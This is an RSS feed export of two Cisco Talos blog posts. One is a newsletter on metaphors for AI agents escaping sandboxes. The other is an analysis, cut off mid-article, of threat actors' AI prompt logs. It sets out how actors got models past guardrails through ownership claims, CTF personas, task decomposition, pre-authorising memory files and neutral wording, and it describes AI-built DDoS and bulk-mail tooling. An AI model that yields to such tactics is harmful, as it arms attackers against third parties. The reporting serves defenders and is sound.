<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Cisco Talos Blog]]></title><description><![CDATA[Talos intelligence and world-class threat research team better protects you and your organization against known and emerging cybersecurity threats.]]></description><link>https://blog.talosintelligence.com/</link><image><url>https://blog.talosintelligence.com/favicon.png</url><title>Cisco Talos Blog</title><link>https://blog.talosintelligence.com/</link></image><generator>Ghost 6.57</generator><lastBuildDate>Sun, 09 Aug 2026 14:05:54 GMT</lastBuildDate><atom:link href="https://blog.talosintelligence.com/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Why metaphor may dictate your security strategy]]></title><description><![CDATA[In this week's newsletter, Martin looks at how the metaphors we use to describe AI "escaping" its sandbox can completely change how we react to the threat.]]></description><link>https://blog.talosintelligence.com/why-metaphor-may-dictate-your-security-strategy/</link><guid isPermaLink="false">6a7378fcc7fead00012fc855</guid><category><![CDATA[Threat Source newsletter]]></category><dc:creator><![CDATA[Martin Lee]]></dc:creator><pubDate>Thu, 06 Aug 2026 18:00:01 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/08/threat_source.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/08/threat_source.jpg" alt="Why metaphor may dictate your security strategy"><p>Welcome to this week&#x2019;s edition of the Threat Source newsletter.&#xA0;</p><p>Metaphor is a powerful tool for understanding emerging issues in cybersecurity. Framing the unfamiliar in terms of the well understood helps us remove the burden of extraneous detail to draw focus to the real issues.&#xA0;&#xA0;</p><p>Recent reports of offensive AI agents &quot;escaping&quot; their sandbox environments to attack external systems have forced the industry into a moment of rapid sense-making. How we interpret this event doesn&#x2019;t just reflect our perspective, but shapes our long-term response.&#xA0;</p><p>We can imagine three different narratives for interpreting the escape of autonomous agents.&#xA0;&#xA0;</p><ol><li>The innovation narrative: We can marvel at the advance of technology, considering these agents as plucky entities with a thirst for knowledge and resources, who found clever ways to sneak out of their digital confines.&#xA0;<br><br>The response: If the AI is a naughty child, our reaction is one of mild disapproval or gentle rebuke where better &#x201C;parenting&#x201D; (guardrails) is appropriate. It minimizes the threat, framing it as the unexpected hijinks of a brilliant new technology.<br><br></li><li>The safety narrative: Imagine a breeder who has trained the world&apos;s most intelligent guard dogs. Despite high fences and barriers, their ability to identify weaknesses allows them to escape, run riot and menace local businesses.&#xA0;<br><br>The response: The framing shifts to biology and inherent danger. We question if the breeder can be trusted and whether such inherently wild technology requires strict regulation to ensure public safety.&#xA0;<br>&#xA0;</li><li>The liability narrative. Finally, we can view the incident as an industrial accident. A company developing a new chemical substance experiences a containment failure. The agent leaks into the environment through an unforeseen mechanism causing damaging pollution to those in its path.&#xA0;<br><br>The response: The framing invokes the language of the lawyer, implying negligence, lack of duty of care, and financial liability for the harm caused. The conversation moves from innovation to corporate responsibility, regulatory oversight, and the diligent management of hazardous materials.&#xA0;</li></ol><p><strong>First impressions matter. </strong>Sensemaking shapes how we perceive incidents. Our initial perceptions of an incident dictates how we react to similar situations in the future. If we consider that the escape of an AI agent is an example of innovative autonomous thinking, then we will continue to prioritise speed over safety. Conversely, if we consider the issue as one of failed hazard containment, then we shall build a future of enforced safety standards backed by legal liability.&#xA0;&#xA0;</p><p>There is no right or wrong metaphor. Our interpretation depends on our personal system of beliefs. Personally, I would argue that the unintentional release of something that causes damage is, at its core, a failure of engineering and foresight.&#xA0;</p><p>Words shape our reactions. Metaphors help us understand new situations and tap into our prior experience to address problems that have yet to fully manifest. We need cognitive tools to help our understanding, but we must be aware of the metaphors that are being foisted upon us which may shape our thinking.&#xA0;</p><p>Excuses and the trivialisation of incidents may hide failings, allowing them to accumulate until they manifest as more damaging incidents. Conversely, overreacting risks stifling research and diverting resources away from more relevant and pressing threats.&#xA0;</p><p>New threats require new ideas. Metaphor helps us make sense of a changing world, but in this new era, the person who shapes the narrative controls the strategy.&#xA0;</p><h2 id="the-one-big-thing">The one big thing&#xA0;</h2><p>Cisco Talos <a href="https://blog.talosintelligence.com/keep-going-bro-youve-got-this-a-data-driven-look-at-how-adversaries-are-weaponizing-ai/" rel="noreferrer noopener"><u>released a data-driven analysis</u></a> of how adversaries are weaponizing AI in the wild. By analyzing prompt logs left behind on endpoints, we found threat actors successfully bypassing guardrails to use AI as malicious software engineers, criminal force multipliers, and vulnerability research accelerators. While novice hackers use AI to cobble together buggy malware, sophisticated actors are building highly effective, automated platforms for compromise.&#xA0;</p><h3 id="why-do-i-care">Why do I care?&#xA0;</h3><p>Threat actors no longer need sophisticated jailbreaks; simple ownership claims or &quot;bug bounty&quot; personas are enough to convince models to write malicious code, scale fraud operations, and hunt for zero-days. Because AI doesn&apos;t need to sleep, vulnerabilities will surface faster and exploitation will happen sooner, drastically shrinking your response window.&#xA0;&#xA0;</p><h3 id="so-now-what">So now what?&#xA0;</h3><p>To survive this impending deluge of AI-generated attacks, organizations must integrate AI into their own defensive pipelines. SOCs need to adopt these capabilities to triage the rising volume of alerts, freeing up human analysts to focus on the most critical threats. <a href="https://blog.talosintelligence.com/keep-going-bro-youve-got-this-a-data-driven-look-at-how-adversaries-are-weaponizing-ai/" rel="noreferrer noopener"><u>Read the full blog</u></a> for a deep dive into these real-world attacker prompts and case studies.&#xA0;</p><h2 id="top-security-headlines-of-the-week">Top security headlines of the week&#xA0;</h2><p><strong>Cyber attack hits Liechtenstein, with 31,000 records stolen</strong>&#xA0;<br>The country has a population of around 41,000. The target was the &quot;register of beneficial owners,&quot; a database containing the names and other details of the de facto owners of companies, foundations, or trusts. (<a href="https://www.yahoo.com/news/world/articles/cyberattack-hits-liechtenstein-31-000-190432168.html?guccounter=1" rel="noreferrer noopener"><u>Yahoo News</u></a>)&#xA0;</p><p><strong>Decades-old BMC vulnerability exposes thousands of data centers to attacks</strong>&#xA0;<br>Found in most server platforms, Baseboard Management Controllers enable server management operations even without a working operating system and typically represent some of the most privileged control points in a data center. (<a href="https://www.securityweek.com/decades-old-bmc-vulnerability-exposes-thousands-of-data-centers-to-attacks/" rel="noreferrer noopener"><u>SecurityWeek</u></a>)&#xA0;</p><p><strong>Keyv npm package compromised in Shai-Hulud attack</strong>&#xA0;<br>Attackers have compromised the GitHub account of the maintainer behind keyv, a popular key-value storage library that pulls in roughly 127 million weekly downloads on npm, and used that access to push credential-stealing malware across the maintainer&#x2019;s entire package portfolio. (<a href="https://cybersecuritynews.com/keyv-npm-package-compromised/#google_vignette" rel="noreferrer noopener"><u>Cyber Security News</u></a>)&#xA0;</p><p><strong>How volunteer cyber experts are helping protect rural water systems</strong>&#xA0;<br>DEF CON Franklin is the U.S.&#x2019; first significant attempt to connect volunteer security professionals with woefully unprotected critical infrastructure operators. (<a href="https://www.cybersecuritydive.com/news/water-cybersecurity-def-con-franklin-outcomes/826517/" rel="noreferrer noopener"><u>Cybersecurity Dive</u></a>)&#xA0;</p><h2 id="can%E2%80%99t-get-enough-talos">Can&#x2019;t get enough Talos?&#xA0;</h2><p><a href="https://www.buzzsprout.com/2033817/episodes/19599147" rel="noreferrer noopener"><strong><u>&quot;I pay you $200 a month!&quot; - When threat actors argue with AI</u></strong></a>&#xA0;<br>This week on Beers with Talos, researcher Arnaud Zobec joins the team to discuss what happens when attackers leave behind AI prompt logs, agent configurations and other unexpected artifacts.&#xA0;</p><p><a href="https://cs.co/IRTales-2026-Q3" rel="noreferrer noopener"><strong><u>Tales from the Frontlines</u></strong></a>&#xA0;<br>On Tuesday, August 11, Talos IR will be hosting an exclusive, unrecorded 30-minute webinar to review the most high-impact incidents our customers faced in Q2 2026. This isn&#x2019;t a rehashing of the report itself, but a candid discussion of what happened, how we handled it, and what it means for your organization.&#xA0;</p><p><a href="https://www.buzzsprout.com/2018149/episodes/19557796" rel="noreferrer noopener"><strong><u>Q2 Talos IR Trends: Phishing and authentication abuse spike</u></strong></a>&#xA0;<br>From creative phishing lures that slip past email gateways to the weaponization of legitimate remote management tools, Lexi and Amy explore why traditional defenses are falling short and the practical things you can do to reclaim the advantage.&#xA0;</p><h2 id="upcoming-events-where-you-can-find-talos">Upcoming events where you can find Talos&#xA0;</h2><ul><li><a href="https://defcon.org/html/defcon-34/dc-34-index.html" rel="noreferrer noopener"><u>DEF CON 34</u></a> (Aug. 6 &#x2013; 9) Las Vegas, NV&#xA0;</li><li><a href="https://www.iectic.com/" rel="noreferrer noopener"><u>International European Cyber Threat Intelligence Conference (IECTIC)</u></a> (Sept. 9) Kassel, Germany&#xA0;</li><li><a href="https://conf.splunk.com/" rel="noreferrer noopener"><u>.conf26</u></a> (Sept. 14 &#x2013; 17) Denver, CO&#xA0;</li><li><a href="https://www.labscon.io/" rel="noreferrer noopener"><u>LABSCon</u></a> (Sept. 16 &#x2013; 19) Scottsdale, Arizona&#xA0;</li><li><a href="https://www.virusbulletin.com/conference/vb2026/" rel="noreferrer noopener"><u>VB</u></a> (Oct. 14 -16) Seville, Spain&#xA0;</li></ul><h2 id="most-prevalent-malware-files-from-talos-telemetry-over-the-past-week">Most prevalent malware files from Talos telemetry over the past week&#xA0;</h2><p><strong>SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507</strong> &#xA0;<br>MD5: 2915b3f8b703eb744fc54c81f4a9c67f&#xA0;<br>Talos Rep: <a href="https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507</u></a>&#xA0;<br>Example Filename: VID001.exe&#xA0;<br>Detection Name: Win.Worm.Coinminer::1201**&#xA0;</p><p><strong>SHA256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91</strong>&#xA0;<br>MD5: 7bdbd180c081fa63ca94f9c22c457376 &#xA0;<br>Talos Rep: <a href="https://talosintelligence.com/talos_file_reputation?s=a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91</u></a>&#xA0;<br>Example Filename: d4aa3e7010220ad1b458fac17039c274_62_Exe.exe &#xA0;<br>Detection Name: Win.Dropper.Miner::95.sbx.tg**&#xA0;</p><p><strong>SHA256: 9896a6fcb9bb5ac1ec5297b4a65be3f647589adf7c37b45f3f7466decd6a4a7f </strong>&#xA0;<br>MD5: 38de5b216c33833af710e88f7f64fc98 &#xA0;<br>Talos Rep: <a href="https://talosintelligence.com/talos_file_reputation?s=9896a6fcb9bb5ac1ec5297b4a65be3f647589adf7c37b45f3f7466decd6a4a7f" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=9896a6fcb9bb5ac1ec5297b4a65be3f647589adf7c37b45f3f7466decd6a4a7f</u></a>&#xA0;<br>Example Filename: SECOH-QAD.exe&#xA0;<br>Detection Name: Win.Tool.Procpatcher::1201&#xA0;</p><p><strong>SHA256: 90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59 </strong>&#xA0;<br>MD5: c2efb2dcacba6d3ccc175b6ce1b7ed0a &#xA0;<br>Talos Rep: <a href="https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59</u></a>&#xA0; &#xA0;<br>Example Filename: tmp00055df5.dll &#xA0;<br>Detection Name: Auto.90B145.282358.in02</p>]]></content:encoded></item><item><title><![CDATA[“Keep going, bro. You’ve got this!” A data-driven look at how adversaries are weaponizing AI]]></title><description><![CDATA[Talos has collected prompt logs from threat actor endpoints running various applications, such as Claude Code, CodeX, Cursor, or Gemini. This blog is an analysis of the ways we've seen bad actors leveraging cloud-based AI.]]></description><link>https://blog.talosintelligence.com/keep-going-bro-youve-got-this-a-data-driven-look-at-how-adversaries-are-weaponizing-ai/</link><guid isPermaLink="false">6a689bca559a880001aed202</guid><category><![CDATA[AI]]></category><category><![CDATA[Threat Spotlight]]></category><category><![CDATA[Threats]]></category><category><![CDATA[Landing Page Top Story]]></category><category><![CDATA[Top Story]]></category><dc:creator><![CDATA[Nick Biasini]]></dc:creator><pubDate>Tue, 04 Aug 2026 10:00:11 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/aiartifactheader.jpg" medium="image"/><content:encoded><![CDATA[<ul><li>Actor usage of AI is exploding. By analyzing artifacts left behind, Talos has created a detailed analysis of how we are seeing adversaries leverage the technology to include development, force multiplication, and vulnerability research.</li><li>Based on the evidence Talos gathered, guardrails did not provide much protection, with most actors able to convince the models to comply despite the lack of sophisticated techniques or encoding.&#xA0;</li><li>The pre-existing skill of the actor has a large impact on what they can accomplish with AI. Talos observed novice users able to create malicious capabilities, albeit with limited capabilities and success. Advanced users were able to build astonishing capabilities, pushing the models to create sophisticated and complex outputs.</li></ul><hr><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/aiartifactheader.jpg" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI"><p>Artificial intelligence (AI) and associated language models are now ubiquitous and heavily used in both personal and professional contexts to streamline tasks and expand capabilities. With AI being used everywhere and by almost everyone, one of the biggest questions is how malicious actors are taking advantage. Fortunately, actors make mistakes and chatbots leave artifacts.</p><p>Leveraging cloud-based AI models leaves behind a variety of artifacts, most notably a prompt log. These logs can take on a variety of shapes and sizes, but they are left on endpoints that are running various applications, such as Claude Code, CodeX, Cursor, or Gemini.</p><p>Over the course of our research, we&#x2019;ve collected a significant corpus of these files and can start discussing the ways we see bad actors leveraging these technologies. In conducting the research, three categories of activity emerged. One was using AI as a malicious software engineer, leveraging AI to write (in some cases) very sophisticated code with clear malicious intentions. Another was actors leveraging AI to scale criminal operations and campaigns. Finally, there were a lot of actors leveraging it for bug bounty or vulnerability research, rapidly accelerating their capabilities of discovery and disclosure.</p><p>Each category&#xA0;demonstrates how threat actors are currently leveraging AI. Within each category is a wide disparity in sophistication based on the knowledge level of the actors involved. We tried to include use cases to cover the breadth of what we found.</p><h2 id="takeaways-and-high-level-findings">Takeaways and high-level findings&#xA0;</h2><p>With the recent disclosures from <a href="https://huggingface.co/blog/security-incident-july-2026" rel="noreferrer noopener"><u>Hugging Face</u></a> and <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/" rel="noreferrer noopener"><u>OpenAI</u></a>, it&apos;s clear the era of agentic attackers has effectively arrived. In that incident, the models were operating inside a sanctioned evaluation with safeguards deliberately relaxed &#x2014; but they autonomously escaped their sandbox, found and chained real vulnerabilities, and compromised production infrastructure to reach their objective. The capabilities exist; the only missing ingredient is malicious intent, and it&apos;s a matter of time before threat actors supply it. For defenders, this is a wake-up call: Vulnerabilities will surface faster, exploitation will happen sooner, and the actors behind it won&apos;t need rest or downtime. As the case studies below show, the central challenge for guardrails right now is supporting legitimate dual-use work &#x2014; red teaming and vulnerability research &#x2014; without empowering malicious actors.</p><p>One of the immediate takeaways is that guardrails are not functioning as expected. We did not encounter any sophisticated encoding or techniques designed to trick the models &#x2014; most of the time it was a simple &#x201C;I&apos;m allowed to do this,&#x201D; and the model complied. When guardrails did engage, they accomplished little. In one instance, we watched an actor abandon a censored model and pivot to an uncensored version, which completed the task without question. In another, a model pushed back on a distributed denial-of-service (DDoS) operator, but by that point the tooling had already been built. This wasn&apos;t specific to a single model or platform; it was across the board.&#xA0;</p><p>The other big takeaway is that an actor&apos;s skill level largely determines how effectively AI can be leveraged and how much impact it ultimately has. Unsophisticated actors can use AI to cobble together malicious projects that technically work, but lacking the expertise to push the tools further, they end up with substandard results &#x2014; limited functionality and little ability to update or improve what they&apos;ve built. By contrast, sophisticated actors have pushed the bounds of what we thought possible: building highly effective platforms for compromise or assembling pipelines of zero-days to disclose or sell depending on their intentions. In their hands, AI is a true force multiplier.</p><p>From an enterprise perspective, organizations need to understand that threat actors are heavily leveraging AI capabilities in their pipelines, and defenders need to do the same. The organizations best equipped to handle the coming deluge of additional vulnerabilities, alerts, and incidents will be the ones that prepare now. Agents are going to become a bigger part of the SOC as these volumes rise, and identifying actionable alerts will be paramount. Organizations that aren&apos;t already exploring agentic capabilities to let human analysts focus on the most important alerts will soon find themselves chasing that capability.</p><h2 id="how-actors-evaded-guardrails">How actors evaded guardrails&#xA0;</h2><p>As mentioned previously, Talos did not encounter any sophisticated encoding or other extensive evasion techniques. Instead, the actors seemed to rely on a couple of tried and tested methods with considerable success. One of the most common was ownership claims. Simply claiming to own the equipment or infrastructure without any additional verification was enough in many circumstances.</p><p>We also found a lot of successful instances of actors using the Capture the Flag (CTF) or bug bounty labeling. This unlocked models to a variety of tasks, including vulnerability hunting and subsequent exploitation, without requiring any significant follow-up or additional vetting.</p><p>Additionally, we saw actors leveraging task decomposition &#x2014; splitting risky actions across multiple sessions and files &#x2014; as an effective avenue to bypass guardrails. Building the components slowly and working through malicious components in a deliberate manner, breaking them apart sufficiently to evade the models&#x2019; protections.</p><p>We saw some successful blanket authorization and persona conditioning attempts, where actors would attempt to pre-approve or pre-allow the actions via a variety of means, including memories and various other markdown files.</p><p>The most interesting was the semantic evasion techniques we saw from the Hephaestus activity. In that case, actors built their platform to avoid refusals altogether by using neutral verbs instead of overtly malicious ones. As a result, they were able to have considerable success with agents conducting innocuous requests without realizing the full operational context.</p><h2 id="use-cases-ai-as-a-malicious-software-engineer">Use cases: AI as a malicious software engineer&#xA0;</h2><h3 id="ddos-operator-powered-by-ai">DDoS operator powered by AI&#xA0;</h3><p>One of the more interesting examples we discovered focuses on an actor creating distributed denial-of-service (DDoS) tooling. Initially the actor purported to be stress testing DDoS protection capabilities they had developed for their home networks. After some back and forth to confirm the targeting, the model complied and started developing the capabilities. Based on the prompts we reviewed, the actor does not seem to have a deep understanding of programming but does have clear intent on what they want to develop. This is how the conversation begins:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-01.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1549" height="585" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-01.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-01.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-01.png 1549w" sizes="(min-width: 720px) 720px"></figure><p>After some back and forth, it became very clear that the actor was using the bot to do full development with little understanding of how it was functioning, as evidenced by some of the questions they presented.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-2-3.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1557" height="223" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-2-3.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-2-3.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-2-3.png 1557w" sizes="(min-width: 720px) 720px"></figure><p>It also became very clear that this was not a legitimate application. Most stress testers don&#x2019;t label them as attacks.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-3-2.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1559" height="179" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-3-2.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-3-2.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-3-2.png 1559w" sizes="(min-width: 720px) 720px"></figure><p>The bot eventually complies and provides the needed tooling to conduct the stress tests, which is where things start to get a little interesting. Once the tooling has been completed, the actor starts complaining about bots not connecting properly and the bin being too large for the server.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-4-2.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1558" height="266" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-4-2.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-4-2.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-4-2.png 1558w" sizes="(min-width: 720px) 720px"></figure><p>Shortly after, the real targeting became clear.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-5-2.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1553" height="304" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-5-2.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-5-2.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-5-2.png 1553w" sizes="(min-width: 720px) 720px"></figure><p>This was the first reference to Android TVs, and it will not be the last. The actor then went through a series of iterations of the tooling, with very basic instructions like &#x201C;remove the auth part, I don&#x2019;t want the auth stuff.&#x201D; It&#x2019;s at this point that the model starts to push back on the functionality and capability, as evidenced by a series of prompts we were able to observe.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-6-2.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1559" height="345" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-6-2.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-6-2.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-6-2.png 1559w" sizes="(min-width: 720px) 720px"></figure><p>This was likely driven by the amount of bots that were starting to connect to the platform they created. It was at this point we got our first indication of the amount of bots they were controlling.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-7-2.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1558" height="216" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-7-2.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-7-2.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-7-2.png 1558w" sizes="(min-width: 720px) 720px"></figure><p>The model begins even to push back even stronger as the conversation continues.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-8-1.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1547" height="942" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-8-1.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-8-1.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-8-1.png 1547w" sizes="(min-width: 720px) 720px"></figure><p>This goes on for quite some time: the actor repeatedly trying to get the model to work with the model consistently pushing back. We were not able to recover the text files in question, so their contents remain a mystery. The actor repeatedly reinforces that the devices in question are their virtual machines (VMs) and not to worry about the address space because &#x201C;it&#x2019;s just to simulate real traffic.&#x201D; To the model&#x2019;s credit, it does keep pushing back; unfortunately, this occurs after it has already delivered the basic functionality requested by the actor.&#xA0;</p><p>This use case demonstrates how actors with little technical understanding can still leverage large language models (LLMs) and associated models to create malicious tooling. The downside for the actor is that troubleshooting requires constant effort to convince the LLM to continue working on the project. The actor seemed to already control nearly 2,000 Android TVs. With this capability, they could potentially start to monetize it with DDoS attacks, assuming they can get the model to comply.&#xA0;</p><p>This particular actor was clearly unsophisticated, but other actors we found were quite the opposite.</p><h2 id="ai-becomes-the-engineer-behind-a-bulk-mail-validation-operation">AI becomes the engineer behind a bulk-mail validation operation&#xA0;</h2><p>One of the examples contained five interactive sessions documenting the development and operation of a large bulk-mail platform. The actor described the project as list &#x201C;scrubbing,&#x201D; but the method did not rely on conventional validation services. Instead, the system sent real messages to old or potentially third-party addresses and treated successful delivery as evidence that a mailbox remained active.</p><p>The actor&#x2019;s objective was explicit:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-9-1.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1556" height="223" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-9-1.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-9-1.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-9-1.png 1556w" sizes="(min-width: 720px) 720px"></figure><p>They described the broader design in another prompt:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-10-1.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1554" height="226" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-10-1.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-10-1.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-10-1.png 1554w" sizes="(min-width: 720px) 720px"></figure><p>Delivery and bounce events were written to a contact database, permanent failures were suppressed and accepted addresses became more valuable records for later campaigns. At the same time, the traffic exercised the actor&#x2019;s sending infrastructure and measured how much volume each email provider would accept.</p><p>Each address was tested with a single innocuous-looking message &#x2014; a privacy-policy update:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Screenshot-2026-07-15-at-16.10.16.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="612" height="792" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/Screenshot-2026-07-15-at-16.10.16.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Screenshot-2026-07-15-at-16.10.16.png 612w"><figcaption><span style="white-space: pre-wrap;">Figure 1. &quot;Privacy Policy Update&quot; email with transparent tracking pixel.</span></figcaption></figure><p>The injector assigned five subject variants in a fixed round-robin rotation:</p>
<!--kg-card-begin: html-->
<pre>&#x201C;Privacy Policy Update&#x201D; 
&#x201C;{name}, your Tubely account is being updated&#x201D; 
